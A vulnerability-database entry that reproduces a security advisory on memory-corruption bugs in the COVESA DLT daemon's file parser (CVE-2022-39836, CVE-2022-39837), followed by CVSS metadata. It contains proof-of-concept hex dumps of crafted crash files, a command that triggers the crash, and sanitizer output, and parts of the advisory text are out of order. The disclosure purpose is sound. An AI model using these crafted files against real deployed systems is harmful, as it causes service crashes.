VAR-202209-1648
Vulnerability from variot - Updated: 2025-05-07 22:52An issue was discovered in Connected Vehicle Systems Alliance (COVESA) dlt-daemon through 2.18.8. Due to a faulty DLT file parser, a crafted DLT file that crashes the process can be created. This is due to missing validation checks. There is a heap-based buffer over-read of one byte. GENIVI Alliance of dlt-daemon (Diagnostic Log and Trace) Exists in an out-of-bounds read vulnerability.Service operation interruption (DoS) It may be in a state. SEC Consult Vulnerability Lab Security Advisory < 20220923-0 >
title: Multiple Memory Corruption Vulnerabilities
product: COVESA DLT daemon (Diagnostic Log and Trace)
Connected Vehicle Systems Alliance (COVESA), formerly GENIVI
vulnerable version: <= 2.18.8 fixed version: current master branch commit 855e0017a980d2990c16f7dbf3b4983b48fac272 CVE number: CVE-2022-39836, CVE-2022-39837 impact: medium homepage: https://github.com/COVESA/dlt-daemon found: 2022-01-14 by: Steffen Robertz (Office Vienna) Gerhard Hechenberger (Office Vienna) Thomas Weber (Office Vienna) Timo Longin (Office Vienna) SEC Consult Vulnerability Lab
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
"The Connected Vehicle Systems Alliance (COVESA) (formerly known as the GENIVI Alliance is an open, collaborative and impactful technology alliance; accelerating the full potential of connected vehicles. Working together, we are a force-multiplier, creating a more diverse, sustainable and integrated mobility ecosystem."
Source: https://www.covesa.global/
"GENIVI Diagnostic Log and Trace (DLT) provides a log and trace interface, based on the standardised protocol specified in the AUTOSAR standard 4.0 DLT. It is used by other GENIVI components but can serve as logging framework for other applications without relation to GENIVI."
Source: https://github.com/COVESA/dlt-daemon
Business recommendation:
The project fixed the vulnerability with commit 855e0017a980d2990c16f7dbf3b4983b48fac272 (https://github.com/COVESA/dlt-daemon/commit/855e0017a980d2990c16f7dbf3b4983b48fac272).
No new version has been tagged, thus an update to the current master branch is recommended.
2) Heap Buffer Over-Read (CVE-2022-39836) The DLT file parser will over read one byte from heap memory when converting a malicious DLT file.
Proof of concept:
1) Null-Pointer Dereference (CVE-2022-39837) The following example DLT file will cause a null pointer dereference and crash the dlt-convert process. However, the crash is caused in /dlt-daemon/src/shared/dlt_common.c:714 and thus will most likely affect the whole dlt-daemon suite.
xxd nullpointer_dereference.dlt 00000000: 444c 5401 ffff ffff 0000 0000 4141 4141 DLT.........AAAA 00000010: ffff ffff ....
Running the file causes the following crash:
./dlt-convert -m nullpointer_dereference.dlt [ 7118.461371]~DLT~10310~WARNING ~Cannot read standard header extra parameters from file! [1] 10310 segmentation fault (core dumped) ./dlt-convert -m nullpointer_dereference.dlt
The error occurs as the htypew field in the DltStandardHeader indicates that a DltExtendedHeader is supplied. However, it is never checked, if an extended header is actually supplied within the DLT file. ECU1...)&.DA 00000020: 3100 4443 3100 020f 0000 0002 0000 0000 1.DC1........... 00000030: 444c 4c01 d718 aa61 fb17 775f 0bce 290c DLL....a..w_..). 00000040: 4101 444c 5444 494e 544d 0002 0000 2e00 A.DLTDINTM...... 00000050: 4461 656d 6f6e 206c 6175 6e63 6865 642e Daemon launched. 00000060: 2053 7461 7274 696e 6720 024c 4f47 0054 Starting .LOG.T 00000070: 4553 5423 0800 0000 0000 0003 0000 0000 EST#............ 00000080: 0200 001d 0054 68af 0200 4543 5531 3d01 .....Th...ECU1=. 00000090: 0079 4543 5531 0017 775f 0bd3 de1b 4101 .yECU1..w_....A. 000000a0: 444c 5444 494e 544d 0002 0000 5900 4170 DLTDINTM....Y.Ap 000000b0: 706c 6963 6174 696f 6e49 4420 274c 4f47 plicationID 'LOG 000000c0: 2720 7265 6769 7374 6572 6564 2066 6f72 ' registered for 000000d0: 2050 4944 2031 3533 3739 3138 2c20 4465 PID 1537918, De 000000e0: 7363 7269 7074 696f 6e3d 5465 7374 2041 scription=Test A 000000f0: 7070 6c69 6361 7469 6f6e 2066 6f72 204c pplication for L 00000100: 6f67 6710 0000 0044 4c54 01d7 18aa 61fe ogg....DLT....a. 00000110: af02 0045 4355 313d 0000 4945 4355 3100 ...ECU1=..IECU1. 00000120: 1777 7e0b d3de 1b31 024c 4f47 6973 206d .w~....1.LOGis m 00000130: 7920 6669 7273 7420 6c6f 0000 00f5 0100 y first lo...... 00000140: 001d 0054 6869 7320 6973 206d 7920 6669 ...This is my fi 00000150: 7273 7420 6c6f 6720 6d65 7373 6167 6500 rst log message. 00000160: 444c 5401 d718 b261 00b0 0200 4543 5531 DLT....a....ECU1 00000170: 3d01 0049 4543 5500 0001 0000 0000 0200 =..IECU......... 00000180: 001d 0054 6869 7320 6973 206d 7920 6669 ...This is my fi 00000190: 7273 7420 6c6f 6720 6d65 7373 6167 6500 rst log message. 000001a0: 444c 5401 d718 aa61 01b0 0200 4543 5531 DLT....a....ECU1 000001b0: 3d02 0049 4543 5531 0017 777e 0bd4 052d =..IECU1..w~...- 000001c0: 3102 4c4f 4700 5445 5354 2308 0000 0000 1.LOG.TEST#..... 000001d0: 0000 0200 0000 0002 0000 9c00 5468 6973 ............This 000001e0: 2069 7320 6d79 2066 6972 7374 206c 6f67 is my first log 000001f0: 206d 6573 7361 6765 0044 4c54 01d7 18aa message.DLT.... 00000200: 6113 b002 0045 4355 313d 0300 4945 4355 a....ECU1=..IECU 00000210: 310b d418 b831 024c 4f47 0054 4553 5423 1....1.LOG.TEST# 00000220: 0800 0000 0000 0003 0000 0000 0200 001d ................ 00000230: 0054 6869 7320 6973 206d 7920 6669 7273 .This is my firs 00000240: 7420 6c6f 6720 6d65 7373 6167 6500 444c t log message.DL 00000250: 5401 d718 aa61 15b0 4800 4543 5531 3d04 T....a..H.ECU1=. 00000260: 0049 4543 5531 0017 777e 0bd4 2c43 3102 .IECU1..w~..,C1. 00000270: 4c4f 4700 5445 5354 2308 0000 0000 0000 LOG.TEST#....... 00000280: 0400 0000 0002 0000 1d00 5468 6973 2069 ..........This i 00000290: 7320 6d79 2066 6972 7b74 0be0 cc29 2601 s my fir{t...)&. 000002a0: 4441 3100 4443 3100 020f 0000 0002 0000 DA1.DC1......... 000002b0: 0000 444c 4c01 313d 0200 3845 4355 3100 ..DLL.1=..8ECU1. 000002c0: 1777 5f0b d466 dd41 0144 4c54 4449 4e54 .w_..f.A.DLTDINT 000002d0: 4d00 0200 0018 0055 6e72 6567 6973 7465 M......Unregiste 000002e0: 7265 6420 4170 4944 2027 4c4f 4727 0044 red ApID 'LOG'.D 000002f0: 4c54 01d7 18aa 444c 5401 d718 aa61 ebaf LT....DLT....a.. 00000300: 0200 4543 5531 3500 0020 4543 5531 0be0 ..ECU15.. ECU1.. 00000310: cc29 2601 4441 3100 4443 3100 020f 0000 .)&.DA1.DC1..... 00000320: 0002 0000 0000 444c 5401 d718 aa61 fbaf ......DLT....a.. 00000330: 0200 4543 5531 3d00 004e 4543 5531 0017 ..ECU1=..NECU1.. 00000340: 775f 0bce 290c 4101 444c 5444 494e 544d w_..).A.DLTDINTM 00000350: 0002 0000 2e00 4461 656d 6f6e 206c 6175 ......Daemon lau 00000360: 6e63 6865 642e 2053 7461 7274 696e 6720 nched. Starting 00000370: 746f 206f 7574 7075 7420 7472 6163 6573 to output traces 00000380: 2e2e 2e00 444c 5401 d718 aa61 fdaf 0200 ....DLT....a.... 00000390: 4543 5531 3d01 0079 4543 55 ECU1=..yECU
Compiling dlt-convert with ASAN support shows a heap-buffer over-read of one byte:
�� )&D app_trace state V 85 [000000: 41 31 00 44 43 31 00 02 0f 00 00 00 02 00 00 00 A1.DC1.......... 000010: 00 44 4c 54 01 d7 18 aa 61 fb af 02 00 45 43 55 .DLT....a....ECU 000020: 31 3d 00 00 4e 45 43 55 31 00 17 77 5f 0b ce xx 1=..NECU1..w_..] [1646261.167986]~DLT~547178~WARNING ~Cannot read standard header extra parameters from file! 5 2021/12/03 14:17:11.176125 822234191 001 CU15 1 �� )&D app_trace state V 85 ================================================================= ==547178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000003f at pc 0x7ffff7b77973 bp 0x7fffffffa7f0 sp 0x7fffffffa7e8 READ of size 1 at 0x60400000003f thread T0 [Detaching after fork from child process 550639]
0 0x7ffff7b77972 in dlt_print_hex_string_delim /dlt-daemon/src/shared/dlt_common.c:147:35
1 0x7ffff7b77ede in dlt_print_hex_string /dlt-daemon/src/shared/dlt_common.c:156:12
2 0x7ffff7b77ede in dlt_print_mixed_string /dlt-daemon/src/shared/dlt_common.c:205:9
3 0x7ffff7b7fb4f in dlt_message_payload /dlt-daemon/src/shared/dlt_common.c
4 0x7ffff7b9c12d in dlt_message_print_mixed_plain /dlt-
daemon/src/shared/dlt_common.c:3281:5
5 0x4cd050 in main /dlt-daemon/src/console/dlt-convert.c:454:21
6 0x7ffff6bd3ca2 in __libc_start_main (/lib64/libc.so.6+0x3aca2)
7 0x41f1bd in _start (/dlt-daemon/build_asan_debug2/src/console/dlt-convert+0x41f1bd)
0x60400000003f is located 0 bytes to the right of 47-byte region [0x604000000010,0x60400000003f) allocated by thread T0 here:
0 0x499e5d in malloc /tmp/llvm/utils/release/final/llvm-project/compiler-
rt/lib/asan/asan_malloc_linux.cpp:145:3
1 0x7ffff7b8f55d in dlt_file_read_data /dlt-daemon/src/shared/dlt_common.c:1428:43
SUMMARY: AddressSanitizer: heap-buffer-overflow /dlt-daemon/src/shared/dlt_common.c:147:35 in dlt_print_hex_string_delim Shadow bytes around the buggy address: 0x0c087fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c087fff8000: fa fa 00 00 00 00 00[07]fa fa fa fa fa fa fa fa 0x0c087fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==547178==ABORTING
Vulnerable / tested versions:
The current Git Master branch v2.18.8 has been tested and found to be vulnerable. (tested at commit aa1364fbdf8700a2c3d2176180f92fb9a4b44251)
Vendor contact timeline:
2022-04-01: Contacting maintainers through email. 2022-04-01: Email returned to sender because of illegal attached files (probably PGP keys). 2022-04-04: Sent advisory via SMIME encrypted mail to another identified email address. 2022-04-05: Advisory received, vendor starts to work on fixes. 2022-04-20: Requested status. 2022-04-21: Currently busy with different projects. Will keep us updated on patching efforts. 2022-05-04: Vendor shares tentative patches. 2022-07-29: Requested status update from vendor. 2022-08-01: Vulnerability fixed in commit 855e0017a980d2990c16f7dbf3b4983b48fac272 2022-09-23: Public release of security advisory
Solution:
The vulnerability has been fixed with commit 855e0017a980d2990c16f7dbf3b4983b48fac272. No new version has been tagged, thus an update to the current master branch is recommended.
See https://github.com/COVESA/dlt-daemon/commit/855e0017a980d2990c16f7dbf3b4983b48fac272
Workaround:
None
Advisory URL:
https://sec-consult.com/vulnerability-lab/
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult
EOF S. Robertz, G. Hechenberger, T. Weber, T. Longin / @2022
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-202209-1648",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "diagnostic log and trace",
"scope": "lte",
"trust": 1.0,
"vendor": "genivi",
"version": "2.18.8"
},
{
"model": "dlt-daemon",
"scope": "lte",
"trust": 0.8,
"vendor": "genivi alliance",
"version": "2.18.8 and earlier"
},
{
"model": "dlt-daemon",
"scope": "eq",
"trust": 0.8,
"vendor": "genivi alliance",
"version": null
},
{
"model": "dlt-daemon",
"scope": null,
"trust": 0.8,
"vendor": "genivi alliance",
"version": null
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2022-019804"
},
{
"db": "NVD",
"id": "CVE-2022-39836"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "T. Weber",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-202209-2800"
}
],
"trust": 0.6
},
"cve": "CVE-2022-39836",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [],
"cvssV3": [
{
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"author": "nvd@nist.gov",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"exploitabilityScore": 1.8,
"id": "CVE-2022-39836",
"impactScore": 3.6,
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"trust": 2.0,
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
{
"attackComplexity": "Low",
"attackVector": "Local",
"author": "NVD",
"availabilityImpact": "High",
"baseScore": 5.5,
"baseSeverity": "Medium",
"confidentialityImpact": "None",
"exploitabilityScore": null,
"id": "CVE-2022-39836",
"impactScore": null,
"integrityImpact": "None",
"privilegesRequired": "None",
"scope": "Unchanged",
"trust": 0.8,
"userInteraction": "Required",
"vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.0"
}
],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2022-39836",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"id": "CVE-2022-39836",
"trust": 1.0,
"value": "MEDIUM"
},
{
"author": "NVD",
"id": "CVE-2022-39836",
"trust": 0.8,
"value": "Medium"
},
{
"author": "CNNVD",
"id": "CNNVD-202209-2800",
"trust": 0.6,
"value": "MEDIUM"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2022-019804"
},
{
"db": "CNNVD",
"id": "CNNVD-202209-2800"
},
{
"db": "NVD",
"id": "CVE-2022-39836"
},
{
"db": "NVD",
"id": "CVE-2022-39836"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "An issue was discovered in Connected Vehicle Systems Alliance (COVESA) dlt-daemon through 2.18.8. Due to a faulty DLT file parser, a crafted DLT file that crashes the process can be created. This is due to missing validation checks. There is a heap-based buffer over-read of one byte. GENIVI Alliance of dlt-daemon (Diagnostic Log and Trace) Exists in an out-of-bounds read vulnerability.Service operation interruption (DoS) It may be in a state. SEC Consult Vulnerability Lab Security Advisory \u003c 20220923-0 \u003e\n=======================================================================\n title: Multiple Memory Corruption Vulnerabilities\n product: COVESA DLT daemon (Diagnostic Log and Trace)\n Connected Vehicle Systems Alliance (COVESA), formerly GENIVI\n vulnerable version: \u003c= 2.18.8\n fixed version: current master branch commit 855e0017a980d2990c16f7dbf3b4983b48fac272\n CVE number: CVE-2022-39836, CVE-2022-39837\n impact: medium\n homepage: https://github.com/COVESA/dlt-daemon\n found: 2022-01-14\n by: Steffen Robertz (Office Vienna)\n Gerhard Hechenberger (Office Vienna)\n Thomas Weber (Office Vienna)\n Timo Longin (Office Vienna)\n SEC Consult Vulnerability Lab\n\n An integrated part of SEC Consult, an Atos company\n Europe | Asia | North America\n\n https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"The Connected Vehicle Systems Alliance (COVESA) (formerly known as the GENIVI\nAlliance is an open, collaborative and impactful technology alliance; accelerating\nthe full potential of connected vehicles. Working together, we are a force-multiplier,\ncreating a more diverse, sustainable and integrated mobility ecosystem.\"\n\nSource: https://www.covesa.global/\n\n\"GENIVI Diagnostic Log and Trace (DLT) provides a log and trace interface,\nbased on the standardised protocol specified in the AUTOSAR standard 4.0 DLT. \nIt is used by other GENIVI components but can serve as logging framework for\nother applications without relation to GENIVI.\"\n\nSource: https://github.com/COVESA/dlt-daemon\n\n\nBusiness recommendation:\n------------------------\nThe project fixed the vulnerability with commit 855e0017a980d2990c16f7dbf3b4983b48fac272\n(https://github.com/COVESA/dlt-daemon/commit/855e0017a980d2990c16f7dbf3b4983b48fac272). \n\nNo new version has been tagged, thus an update to the current master branch is recommended. \n\n2) Heap Buffer Over-Read (CVE-2022-39836)\nThe DLT file parser will over read one byte from heap memory when converting\na malicious DLT file. \n\n\nProof of concept:\n-----------------\n1) Null-Pointer Dereference (CVE-2022-39837)\nThe following example DLT file will cause a null pointer dereference and crash the\ndlt-convert process. \nHowever, the crash is caused in /dlt-daemon/src/shared/dlt_common.c:714 and\nthus will most likely affect the whole dlt-daemon suite. \n\n\nxxd nullpointer_dereference.dlt\n00000000: 444c 5401 ffff ffff 0000 0000 4141 4141 DLT.........AAAA\n00000010: ffff ffff .... \n\n\nRunning the file causes the following crash:\n\n\n./dlt-convert -m nullpointer_dereference.dlt\n[ 7118.461371]~DLT~10310~WARNING ~Cannot read standard header extra parameters\nfrom file!\n[1] 10310 segmentation fault (core dumped)\n./dlt-convert -m nullpointer_dereference.dlt\n\n\nThe error occurs as the htypew field in the DltStandardHeader indicates that\na DltExtendedHeader is supplied. However, it is never checked, if an extended\nheader is actually supplied within the DLT file. ECU1...)\u0026.DA\n00000020: 3100 4443 3100 020f 0000 0002 0000 0000 1.DC1........... \n00000030: 444c 4c01 d718 aa61 fb17 775f 0bce 290c DLL....a..w_..). \n00000040: 4101 444c 5444 494e 544d 0002 0000 2e00 A.DLTDINTM...... \n00000050: 4461 656d 6f6e 206c 6175 6e63 6865 642e Daemon launched. \n00000060: 2053 7461 7274 696e 6720 024c 4f47 0054 Starting .LOG.T\n00000070: 4553 5423 0800 0000 0000 0003 0000 0000 EST#............ \n00000080: 0200 001d 0054 68af 0200 4543 5531 3d01 .....Th...ECU1=. \n00000090: 0079 4543 5531 0017 775f 0bd3 de1b 4101 .yECU1..w_....A. \n000000a0: 444c 5444 494e 544d 0002 0000 5900 4170 DLTDINTM....Y.Ap\n000000b0: 706c 6963 6174 696f 6e49 4420 274c 4f47 plicationID \u0027LOG\n000000c0: 2720 7265 6769 7374 6572 6564 2066 6f72 \u0027 registered for\n000000d0: 2050 4944 2031 3533 3739 3138 2c20 4465 PID 1537918, De\n000000e0: 7363 7269 7074 696f 6e3d 5465 7374 2041 scription=Test A\n000000f0: 7070 6c69 6361 7469 6f6e 2066 6f72 204c pplication for L\n00000100: 6f67 6710 0000 0044 4c54 01d7 18aa 61fe ogg....DLT....a. \n00000110: af02 0045 4355 313d 0000 4945 4355 3100 ...ECU1=..IECU1. \n00000120: 1777 7e0b d3de 1b31 024c 4f47 6973 206d .w~....1.LOGis m\n00000130: 7920 6669 7273 7420 6c6f 0000 00f5 0100 y first lo...... \n00000140: 001d 0054 6869 7320 6973 206d 7920 6669 ...This is my fi\n00000150: 7273 7420 6c6f 6720 6d65 7373 6167 6500 rst log message. \n00000160: 444c 5401 d718 b261 00b0 0200 4543 5531 DLT....a....ECU1\n00000170: 3d01 0049 4543 5500 0001 0000 0000 0200 =..IECU......... \n00000180: 001d 0054 6869 7320 6973 206d 7920 6669 ...This is my fi\n00000190: 7273 7420 6c6f 6720 6d65 7373 6167 6500 rst log message. \n000001a0: 444c 5401 d718 aa61 01b0 0200 4543 5531 DLT....a....ECU1\n000001b0: 3d02 0049 4543 5531 0017 777e 0bd4 052d =..IECU1..w~...-\n000001c0: 3102 4c4f 4700 5445 5354 2308 0000 0000 1.LOG.TEST#..... \n000001d0: 0000 0200 0000 0002 0000 9c00 5468 6973 ............This\n000001e0: 2069 7320 6d79 2066 6972 7374 206c 6f67 is my first log\n000001f0: 206d 6573 7361 6765 0044 4c54 01d7 18aa message.DLT.... \n00000200: 6113 b002 0045 4355 313d 0300 4945 4355 a....ECU1=..IECU\n00000210: 310b d418 b831 024c 4f47 0054 4553 5423 1....1.LOG.TEST#\n00000220: 0800 0000 0000 0003 0000 0000 0200 001d ................ \n00000230: 0054 6869 7320 6973 206d 7920 6669 7273 .This is my firs\n00000240: 7420 6c6f 6720 6d65 7373 6167 6500 444c t log message.DL\n00000250: 5401 d718 aa61 15b0 4800 4543 5531 3d04 T....a..H.ECU1=. \n00000260: 0049 4543 5531 0017 777e 0bd4 2c43 3102 .IECU1..w~..,C1. \n00000270: 4c4f 4700 5445 5354 2308 0000 0000 0000 LOG.TEST#....... \n00000280: 0400 0000 0002 0000 1d00 5468 6973 2069 ..........This i\n00000290: 7320 6d79 2066 6972 7b74 0be0 cc29 2601 s my fir{t...)\u0026. \n000002a0: 4441 3100 4443 3100 020f 0000 0002 0000 DA1.DC1......... \n000002b0: 0000 444c 4c01 313d 0200 3845 4355 3100 ..DLL.1=..8ECU1. \n000002c0: 1777 5f0b d466 dd41 0144 4c54 4449 4e54 .w_..f.A.DLTDINT\n000002d0: 4d00 0200 0018 0055 6e72 6567 6973 7465 M......Unregiste\n000002e0: 7265 6420 4170 4944 2027 4c4f 4727 0044 red ApID \u0027LOG\u0027.D\n000002f0: 4c54 01d7 18aa 444c 5401 d718 aa61 ebaf LT....DLT....a.. \n00000300: 0200 4543 5531 3500 0020 4543 5531 0be0 ..ECU15.. ECU1.. \n00000310: cc29 2601 4441 3100 4443 3100 020f 0000 .)\u0026.DA1.DC1..... \n00000320: 0002 0000 0000 444c 5401 d718 aa61 fbaf ......DLT....a.. \n00000330: 0200 4543 5531 3d00 004e 4543 5531 0017 ..ECU1=..NECU1.. \n00000340: 775f 0bce 290c 4101 444c 5444 494e 544d w_..).A.DLTDINTM\n00000350: 0002 0000 2e00 4461 656d 6f6e 206c 6175 ......Daemon lau\n00000360: 6e63 6865 642e 2053 7461 7274 696e 6720 nched. Starting\n00000370: 746f 206f 7574 7075 7420 7472 6163 6573 to output traces\n00000380: 2e2e 2e00 444c 5401 d718 aa61 fdaf 0200 ....DLT....a.... \n00000390: 4543 5531 3d01 0079 4543 55 ECU1=..yECU\n---------------------------\n\n\nCompiling dlt-convert with ASAN support shows a heap-buffer over-read\nof one byte:\n\n-------------------------------------------------------------------------------------------\n\ufffd\ufffd )\u0026D app_trace state V 85\n[000000: 41 31 00 44 43 31 00 02 0f 00 00 00 02 00 00 00 A1.DC1.......... \n000010: 00 44 4c 54 01 d7 18 aa 61 fb af 02 00 45 43 55 .DLT....a....ECU\n000020: 31 3d 00 00 4e 45 43 55 31 00 17 77 5f 0b ce xx 1=..NECU1..w_..]\n[1646261.167986]~DLT~547178~WARNING ~Cannot read standard header extra parameters from file!\n5 2021/12/03 14:17:11.176125 822234191 001 CU15 1\n\ufffd\ufffd )\u0026D app_trace state V 85\n=================================================================\n==547178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000003f at pc\n0x7ffff7b77973 bp 0x7fffffffa7f0 sp 0x7fffffffa7e8\nREAD of size 1 at 0x60400000003f thread T0\n[Detaching after fork from child process 550639]\n#0 0x7ffff7b77972 in dlt_print_hex_string_delim /dlt-daemon/src/shared/dlt_common.c:147:35\n#1 0x7ffff7b77ede in dlt_print_hex_string /dlt-daemon/src/shared/dlt_common.c:156:12\n#2 0x7ffff7b77ede in dlt_print_mixed_string /dlt-daemon/src/shared/dlt_common.c:205:9\n#3 0x7ffff7b7fb4f in dlt_message_payload /dlt-daemon/src/shared/dlt_common.c\n#4 0x7ffff7b9c12d in dlt_message_print_mixed_plain /dlt-\ndaemon/src/shared/dlt_common.c:3281:5\n#5 0x4cd050 in main /dlt-daemon/src/console/dlt-convert.c:454:21\n#6 0x7ffff6bd3ca2 in __libc_start_main (/lib64/libc.so.6+0x3aca2)\n#7 0x41f1bd in _start (/dlt-daemon/build_asan_debug2/src/console/dlt-convert+0x41f1bd)\n0x60400000003f is located 0 bytes to the right of 47-byte region\n[0x604000000010,0x60400000003f)\nallocated by thread T0 here:\n#0 0x499e5d in malloc /tmp/llvm/utils/release/final/llvm-project/compiler-\nrt/lib/asan/asan_malloc_linux.cpp:145:3\n#1 0x7ffff7b8f55d in dlt_file_read_data /dlt-daemon/src/shared/dlt_common.c:1428:43\nSUMMARY: AddressSanitizer: heap-buffer-overflow /dlt-daemon/src/shared/dlt_common.c:147:35 in\ndlt_print_hex_string_delim\nShadow bytes around the buggy address:\n0x0c087fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n0x0c087fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n0x0c087fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n0x0c087fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n0x0c087fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=\u003e0x0c087fff8000: fa fa 00 00 00 00 00[07]fa fa fa fa fa fa fa fa\n0x0c087fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n0x0c087fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n0x0c087fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n0x0c087fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\n0x0c087fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa\nShadow byte legend (one shadow byte represents 8 application bytes):\nAddressable: 00\nPartially addressable: 01 02 03 04 05 06 07\nHeap left redzone: fa\nFreed heap region: fd\nStack left redzone: f1\nStack mid redzone: f2\nStack right redzone: f3\nStack after return: f5\nStack use after scope: f8\nGlobal redzone: f9\nGlobal init order: f6\nPoisoned by user: f7\nContainer overflow: fc\nArray cookie: ac\nIntra object redzone: bb\nASan internal: fe\nLeft alloca redzone: ca\nRight alloca redzone: cb\nShadow gap: cc\n==547178==ABORTING\n\n\nVulnerable / tested versions:\n-----------------------------\nThe current Git Master branch v2.18.8 has been tested and found to be vulnerable. \n(tested at commit 